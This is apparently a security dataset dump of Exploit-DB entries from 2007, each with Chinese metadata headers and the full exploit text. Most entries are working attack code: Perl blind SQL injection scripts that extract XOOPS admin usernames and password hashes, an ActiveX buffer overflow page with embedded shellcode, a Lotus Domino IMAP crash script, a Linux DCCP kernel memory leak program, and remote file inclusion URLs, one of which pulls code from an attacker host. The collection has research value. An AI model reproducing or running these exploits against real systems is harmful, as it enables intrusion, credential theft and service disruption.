QLWD/code_shield huggingface dataset:
标题: Advanced Login 0.7 - 'root' Remote File Inclusion EDB-ID: 3608 CVE: 2007-1766 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-29 漏洞利用脚本: ------------------------------------------------------------------------------
Advanced Login <= 0.7 (root) Remote File Inclusion Vulnerability
------------------------------------------------------------------------------

Author  : Zeni Susanto a.k.a Bithedz
Date Found : Maret, 29th 2007
Location : Indonesia, Bandung
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~
Application : AdvanceLogin
version  : 0.7
vendor  : http://www.msxstudios.de
source url      : http://downloads.msxstudios.de/advancedlogin076.zip

---------------------------------------------------------------------------

Description:
~~~~~~~~
Advanced Login is at present for designers the best, for programmers and successful Web masters one the best Login of systems on the market. Templates which can be edited through simply and determined Functions can adapt you to Advanced Login 100% to YOUR Design, not as differently with usual systems around. Advanced Login is developed further and improved, an installation is constantly worthwhile themselves thus, even if the present function yet for your web page are not enough completely.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

I found vulnerability script in profiledit.php

---------- profiledit.php---------------------------------------------------------
<?php
include($root."login/engine/couple.php");
mysql_query($profil_update_sql);
$result2=mysql_query($select_new_user_sql);
$row2=mysql_fetch_assoc($result2);
?>
 
-----------------------------------------------------------------------------

Input passed to the "root" parameter in profiledit.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~

http://target.com/login/engine/db/profiledit.php?root==http://attact.com/colok.txt?

-----------------------------------------------------------------------------

google d0rk:
~~~~~~~
"Advanced Login - Login"

-----------------------------------------------------------------------------
Solution:
~~~
- download new version in vendor URL 

-----------------------------------------------------------------------------
Shoutz:
~~
~ My Wife Monik 
~ K-159

-----------------------------------------------------------------------------

Contact:
~~~
 
     Bithedz[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-29] URL: https://www.exploit-db.com/exploits/3608
标题: XOOPS Module Repository - 'viewcat.php' SQL Injection EDB-ID: 3612 CVE: 2007-1847 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-30 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: XOOPS Module Repository (viewcat.php) BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "inurl:/modules/repository/"
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : ??
#[.          : Tested on xoops.org and xoops.pr.gov.br 
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  XOOPS Module Repository (viewcat.php) BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/repository/viewcat.php?cid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "111111%20union%20select%202,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-30] URL: https://www.exploit-db.com/exploits/3612
标题: ActSoft DVD-Tools - 'dvdtools.ocx' Remote Buffer Overflow EDB-ID: 3610 CVE: 2007-0976 类型: REMOTE 平台: WINDOWS 发布日期: 2007-03-30 漏洞利用脚本: <!--

  ===============================================================================================
                        ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 30-03-2007
 
  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
   
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->



<html>

<title>
 ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit- By Umesh Wanve
</title>

<object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test' ></object>

<script>

var nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90");

var pointer_to_seh=unescape("%eb%06%90%90");

var seh_handler=unescape("%a9%11%02%75");


<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com  -->
var shellcode= 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49")+
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%64")+
unescape("%58%30%41%31%50%42%41%6b%41%41%74%32%41%42%41%32")+
unescape("%42%41%30%42%41%58%38%41%42%50%75%4a%49%6b%4c%79")+
unescape("%78%67%34%45%50%43%30%73%30%4c%4b%72%65%55%6c%4c")+
unescape("%4b%53%4c%53%35%70%78%54%41%7a%4f%6c%4b%72%6f%42")+
unescape("%38%6e%6b%51%4f%35%70%57%71%7a%4b%43%79%4c%4b%77")+
unescape("%44%4e%6b%74%41%48%6e%50%31%79%50%6d%49%6e%4c%6b")+
unescape("%34%6b%70%53%44%76%67%6a%61%4a%6a%44%4d%54%41%5a")+
unescape("%62%6a%4b%4b%44%37%4b%61%44%71%34%65%54%32%55%58")+
unescape("%65%6e%6b%63%6f%55%74%34%41%4a%4b%70%66%6e%6b%54")+
unescape("%4c%70%4b%6e%6b%73%6f%45%4c%76%61%78%6b%6c%4b%55")+
unescape("%4c%4c%4b%44%41%48%6b%4d%59%73%6c%57%54%75%54%6a")+
unescape("%63%54%71%4b%70%65%34%6c%4b%37%30%54%70%6c%45%4f")+
unescape("%30%73%48%54%4c%4e%6b%37%30%74%4c%4c%4b%50%70%67")+
unescape("%6c%4c%6d%4c%4b%62%48%45%58%38%6b%76%69%6e%6b%4f")+
unescape("%70%4e%50%45%50%47%70%37%70%6c%4b%32%48%47%4c%51")+
unescape("%4f%30%31%6b%46%43%50%61%46%6e%69%48%78%6d%53%4f")+
unescape("%30%61%6b%66%30%31%78%58%70%4d%5a%34%44%61%4f%55")+
unescape("%38%6e%78%6b%4e%6d%5a%34%4e%73%67%49%6f%6d%37%33")+
unescape("%53%31%71%70%6c%65%33%45%50%64");

var buff="";

for (i=0;i<432;i++)    buff=buff+"A";


<!--   Buffer ------      Short Jump to Shellcode   ----- Pop Pop ret ----  NOP SLED ---- Hellcode --------->

buff = buff         +           pointer_to_seh     +      seh_handler   +  nop+nop    +   shellcode    +nop+nop;


var attack = document.getElementById('test');

attack.OpenDVD(buff);


</script>
</body>
</html>

# milw0rm.com [2007-03-30] URL: https://www.exploit-db.com/exploits/3610
标题: XOOPS Module MyAds Bug Fix 2.04jp - 'index.php' SQL Injection EDB-ID: 3603 CVE: 2007-1846 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-29 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Xoops Module MyAds Bug Fix <= v2.04jp (index.php cid) BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "inurl:/modules/myads/"
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Xoops Module MyAds Bug Fix <= v2.04jp (index.php cid) BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/myAds/index.php?pa=view&cid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

$target = "-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3%20from%20xoops_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/b>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-29] URL: https://www.exploit-db.com/exploits/3603
标题: IBM Lotus Domino Server 6.5 - 'Username' Remote Denial of Service EDB-ID: 3602 CVE: 2007-1675 类型: DOS 平台: WINDOWS 发布日期: 2007-03-29 漏洞利用脚本: #!/usr/bin/python
#
# Remote DOS exploit code for IBM Lotus Domino Server 6.5. Tested on windows
# 2000 server SP4. The code crashes the IMAP server. Since this is a simple DOS
# where 256+ (but no more than 270) bytes for the username crashes the service
# this is likely to work on other windows platform aswell. Maybe someone can carry this further and come out
# with a code exec exploit.
#
# Author shall bear no reponsibility for any screw ups caused by using this code
# Winny Thomas :-)
#

import sys
import md5
import struct
import base64
import socket

def ExploitLotus(target):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target, 143))
       response = sock.recv(1024)
       print response


       auth = 'a001 authenticate cram-md5\r\n'
       sock.send(auth)
       response = sock.recv(1024)
       print response

       # prepare digest of the response from server
       m = md5.new()
       m.update(response[2:0])
       digest = m.digest()

       payload = 'A' * 256
       # the following DWORD is stored in ECX
       # at the time of overflow the following call is made
       # call dword ptr [ecx]. However i couldnt find suitable conditions under which a stable pointer to our shellcode
       # could be used. Actually i have not searched hard enough :-).
       payload += struct.pack('<L', 0x58585858)

       # Base64 encode the user info to the server
       login = payload + ' ' + digest
       login = base64.encodestring(login) + '\r\n'

       sock.send(login)
       response = sock.recv(1024)
       print response

if __name__=="__main__":
       try:
               target = sys.argv[1]
       except IndexError:
               print 'Usage: %s <imap server>\n' % sys.argv[0]
               sys.exit(-1)

       ExploitLotus(target)

# milw0rm.com [2007-03-29] URL: https://www.exploit-db.com/exploits/3602
标题: CodeBB 1.0 Beta 2 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3599 CVE: 2007-1839 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-28 漏洞利用脚本: # codebb 1.1b3  (phpbb_root_path )Remote File Include Vulnerability

# D.Script: http://rd.cycnus.de/download/codebb-1.1b3.tar.bz2

# Discovered by: Alkomandoz Hacker

# Homepage: http://www.asb-may.net
# V.Code

# include_once($phpbb_root_path . 'includes/codebb/config.'.$phpEx);

require($phpbb_root_path . 'includes/codebb/scanners/scannerlist.'.$phpEx);



# Exploit:[Path]/codebb/pass_code.php?phpbb_root_path=SheLL

    [Path]/codebb/lang_select?phpbb_root_path=SheLL


# Greetz To: A-s-T Team & AsbMay's Group & KaBaRa & Mahmood_Ali & ThE-DE@TH & ToOoFa

# Thanx: asb-may.net & TrYaG.CoM

# milw0rm.com [2007-03-28] URL: https://www.exploit-db.com/exploits/3599
标题: iPhotoAlbum 1.1 - 'header.php' Remote File Inclusion EDB-ID: 3596 CVE: 2005-2246 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-28 漏洞利用脚本: # iPhotoAlbum v1.1(header.php)Remote File Include Vulnerability
# D.Script: http://sourceforge.net/projects/iphotoalbum/
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code 
# <?php if(isset($set_menu)) { include("$set_menu"); } ?>
# Exploit:[Path]/lib/static/header.php?set_menu=SheLL
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Thanx: w4ck1ng.com & h4cky0u.org &  t0pP8uZz 

# milw0rm.com [2007-03-28] URL: https://www.exploit-db.com/exploits/3596
标题: XOOPS module Articles 1.03 - 'index.php?cat_id' SQL Injection EDB-ID: 3594 CVE: 2007-3311 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-28 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Xoops module Articles <= 1.02 (index.php cat_id) SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "inurl:modules/articles/index.php?cat_id="
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : Free
#[..         : ajann,Turkey

# PoC : modules/articles/index.php?cat_id=-1%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),4,5,6%20from%20xoops_users%20where%20uid%20like%201/*
# PoC : modules/articles/index.php?cat_id=-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20xoops_users%20where%20uid%20like%201/*

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Xoops module Articles <= 1.02 (index.php cat_id) SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/articles/index.php?cat_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-28] URL: https://www.exploit-db.com/exploits/3594
标题: XOOPS Module Friendfinder 3.3 - 'view.php?id' SQL Injection EDB-ID: 3597 CVE: 2007-1838 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-28 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "inurl:/modules/friendfinder/"
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/view.php?id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "-1'%20union%20select%201,2,3,4,5,6,7,8,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/td>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-28] URL: https://www.exploit-db.com/exploits/3597
标题: MangoBery CMS 0.5.5 - 'quotes.php' Remote File Inclusion EDB-ID: 3598 CVE: 2007-1837 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-28 漏洞利用脚本: Mangobery-0.5.5

*****************
Found by kezzap66345 *
*****************
Script Page:http://mangobery.sourceforge.net/
*****************
Demo Site:http://mangobery.beryllium.ca/
*****************
Script
Download:http://sourceforge.net/project/showfiles.php?group_id=63834&package_id=60858

*****************
Dork:http://www.google.com.tr/search?hl=tr&q=%22MangoBery+1.0+Alpha%22&meta=

*****************
ERROR#1:
File:boxes/quotes.php
*****************


<? include($Site_Path . 'tquotes/tq_getquote.inc') ?>     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/boxes/quotes.php?Site_Path=[SHELL]


**************************************************************************************

*****************
ERROR#2:
File:templates/mangobery/footer.sample.php
*****************


include($Site_Path . "includes/column_right.php");     <<< rfi coded


**************************************************************************************
RFI#2:

http://SITE.com/path/templates/mangobery/footer.sample.php?Site_Path=[SHELL]

Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-03-28] URL: https://www.exploit-db.com/exploits/3598
标题: Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (2) EDB-ID: 3595 CVE: 2007-1734 2007-1730 类型: LOCAL 平台: LINUX 发布日期: 2007-03-28 漏洞利用脚本: #include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
    void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
               MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
    if (mem == (void*)-1) {
       printf("Alloc failed\n");
       return -1;
    }
    /* SOCK_DCCP, IPPROTO_DCCP */
    int s = socket(PF_INET, 6, 33);
    if (s == -1) {
       fprintf(stderr, "socket failure!\n");
       return 1;
    }
   /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
    int len = BUFSIZE;
    int x = getsockopt(s, 269, 11, mem, &len);

    if (x == -1)
       perror("SETSOCKOPT");
    else
       printf("SUCCESS\n");

    write(1, mem, BUFSIZE);

    return 0;
}

// milw0rm.com [2007-03-28] URL: https://www.exploit-db.com/exploits/3595